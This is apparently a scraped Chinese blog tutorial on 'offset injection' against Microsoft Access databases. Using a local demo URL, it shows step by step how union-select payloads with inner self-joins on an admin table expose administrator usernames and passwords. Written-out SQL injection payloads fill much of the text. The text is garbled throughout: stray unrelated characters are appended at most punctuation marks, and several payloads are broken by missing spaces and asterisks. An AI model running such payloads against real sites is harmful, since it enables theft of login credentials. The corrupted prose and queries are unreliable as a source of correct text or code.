前言
最近在看access注入,本來想找個(gè)目標(biāo)來試試,但是項(xiàng)目剛結(jié)束手上暫時(shí)也沒有相關(guān)的站皇钞,而且網(wǎng)上找了半天沒有找到相關(guān)的靶場,網(wǎng)上的相關(guān)資料也不多松捉,所以就暫時(shí)借用其他大佬的一些圖片來介紹access的偏移注入吧夹界,使用的圖片并非是我本人截圖的,但是所有的思路以及滲透測試的流程是筆者自己對(duì)于Access數(shù)據(jù)庫偏移注入的理解隘世,此處只是做一個(gè)說明哈可柿!
偏移注入
原理:
借用數(shù)據(jù)庫的自連接查詢(inner join)讓數(shù)據(jù)庫內(nèi)部發(fā)生亂序,從而偏移出所需要的字段在我們的頁面上顯示丙者。
用處:
access偏移注入是解決一些注入不出來列表的時(shí)候复斥,同時(shí)要求支持union select,列名足夠多械媒,需要知道表名目锭。
特點(diǎn):
1、能不能成功看運(yùn)氣(表名能不能猜也是看運(yùn)氣纷捞。痢虹。)
2、無需管理員賬號(hào)密碼字段主儡,直接爆賬號(hào)密碼奖唯。
利用條件:
1、知道表名
2糜值、任意字段(一般access會(huì)有一個(gè)id字段丰捷。)
影響偏移注入成功率的因素
1:管理表的字段數(shù)越少越好(最好是三個(gè):id 賬號(hào)字段 密碼字段)
2:當(dāng)前注入點(diǎn)的腳本內(nèi)查詢的表內(nèi)的字段數(shù)越多越好(最好有幾十個(gè),這樣基本成功率是100%)
3:已知的字段數(shù)越多越好(id一般存在)
偏移注入的流程:
1臀玄、 判斷字段數(shù)
2瓢阴、 判斷表名
3、 開始偏移注入
偏移注入的實(shí)例演示
注入點(diǎn):
http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1137
注入點(diǎn)信息:
字段數(shù):22
管理表名:admin
先直接聯(lián)合查詢爆顯位
3和15是顯示位健无,但是跑不出字段荣恐,下面就可以開始偏移注入了。
流程如下
先判斷管理表內(nèi)存在的字段數(shù)累贤,用到如下語句:
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
我們利用*代替admin表內(nèi)存在的字段叠穆,由于是22個(gè)字段數(shù),需要逐步測試臼膏,直到返回正常為止硼被。
目前語句訪問結(jié)果如圖所示
下面繼續(xù)
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,, from admin
union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin
這樣的話,應(yīng)該很好理解了渗磅。我這里到了16的時(shí)候返回正常嚷硫,如下所示:
如上圖可知检访,字段數(shù)列到16的時(shí)候,返回正常了仔掸,那么本來是22個(gè)字段脆贵。
號(hào)=字段數(shù)(這里是22)-列出的字段數(shù)(這里是16)
所以=22-16
也就是說,admin表下有6個(gè)字段起暮。
【開始偏移注入】
語句如下卖氨;
union select 1,2,3,4,5,6,7,8,9,10,* from (adminas a inner join admin as b ona.id=b.id)
解釋:
union //聯(lián)合查詢語法,定義連后面的語句一起執(zhí)行
select //查詢
1,2,3,4,5,6,7,8,9,10, //這里理解為剩下的字段數(shù)就可以
from //從哪里開始
(admin as a inner join admin as b on a.id=b.id)
//這里是admin表自連接负懦,admin為表名(前面得到的表名) id為字段(可修改筒捺,但必須存在)
【偏移注入的基本公式】
字段數(shù)=order by 出的字段數(shù)-*號(hào)的字段數(shù)x2
因?yàn)檫@里一共是22個(gè)字段,而*號(hào)代表的admin表字段占6個(gè)纸厉,6x2=12 22-12=10
這就是為什么字段數(shù)是10的原因系吭。訪問一下如圖所示:
這里爆出了admin表管理員創(chuàng)建日期,沒有我們要的賬號(hào)密碼怎么辦残腌?
沒關(guān)系村斟,這里就要說到隱性顯位了贫导,主頁面只有兩個(gè)顯位3和15 那我們我們可以在頁面源代碼看一下抛猫。如圖5↓
可以看到 1.還有兩個(gè)隱性顯位,第一個(gè)是 9孩灯,第二個(gè)已經(jīng)爆出了管理員密碼 2.下面的紅框和頁面信息一致闺金,只是它有回顯。
這時(shí)候已經(jīng)得到了密碼峰档。還差賬號(hào)了败匹。偏移中辦法很多。 思路:我們只需要把它打亂就可以讥巡,這樣信息重組掀亩,很有可能會(huì)把管理員賬號(hào)給爆出來。 在字段后面插個(gè)a.id,b.id,欢顷,這里的a和b可以理解為字段(第a b個(gè)管理表存在的所有字段)槽棍,id還是管理表內(nèi)存在的字段名
那么語句如下;
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin asa inner join admin as b on a.id=b.id) 其實(shí)就在上面的語句基礎(chǔ)上插了個(gè)a.id,b.id,
其實(shí)也可以這樣來處理 union select 1,2,3,4,5,6,7,8,9,10,a.id,* from(admin as a inner join admin as b on a.id=b.id) 只保留a.id, 也實(shí)現(xiàn)了打亂信息組合抬驴,并且執(zhí)行效果一樣 下面訪問一下看看結(jié)果:
成功打亂他的組合炼七,同一個(gè)顯位返回不同的信息了,254是admin表內(nèi)某個(gè)字段的內(nèi)容布持。
我們看看網(wǎng)頁源代碼里的隱性顯位爆出了什么豌拙,如下所示:
這樣就爆出了管理員賬號(hào)。 經(jīng)過兩次的偏移题暖,成功得到賬號(hào)和密碼按傅。
在字段多的情況下捉超,多級(jí)偏移會(huì)有意想不到的效果。 剛才只到了一級(jí)唯绍,第二級(jí)的話就是字段數(shù)再去掉admin表存在的字段數(shù)狂秦。
一級(jí)偏移語句 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,*from (admin as a inner join adminas b on a.id=b.id)
二級(jí)偏移語句 union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as bon a.id=b.id)
inner join admin as c on a.id=c.id)
我把字段去掉了6個(gè),增加了一個(gè)c.id 用來代替字段并且重新打亂組合推捐。
重新訪問一下看看如圖
可以看到裂问,頁面返回和前面沒有任何變化。所以主要還是看隱性顯位牛柒,如圖
在隱性顯位一次爆出了管理賬號(hào)和密碼堪簿。
【拓展】
x.id //id可以修改為任意表內(nèi)存在的字段名,而且會(huì)打亂重新回顯
所以說管理表內(nèi)存在的字段數(shù)越少越好皮壁、當(dāng)前注入點(diǎn)腳本內(nèi)查詢的表內(nèi)字段數(shù)越多越好椭更、得到的字段數(shù)越多越好
偏移注入可以很大程度上解決猜不到字段的問題。
參考:
https://blog.csdn.net/bylfsj/article/details/101390839
https://wenku.baidu.com/view/5a2969a65b0102020740be1e650e52ea5418ce3e.html
http://www.reibang.com/p/be76092789ad
https://blog.csdn.net/u014029795/article/details/91150847
https://www.cnblogs.com/xishaonian/p/6054320.html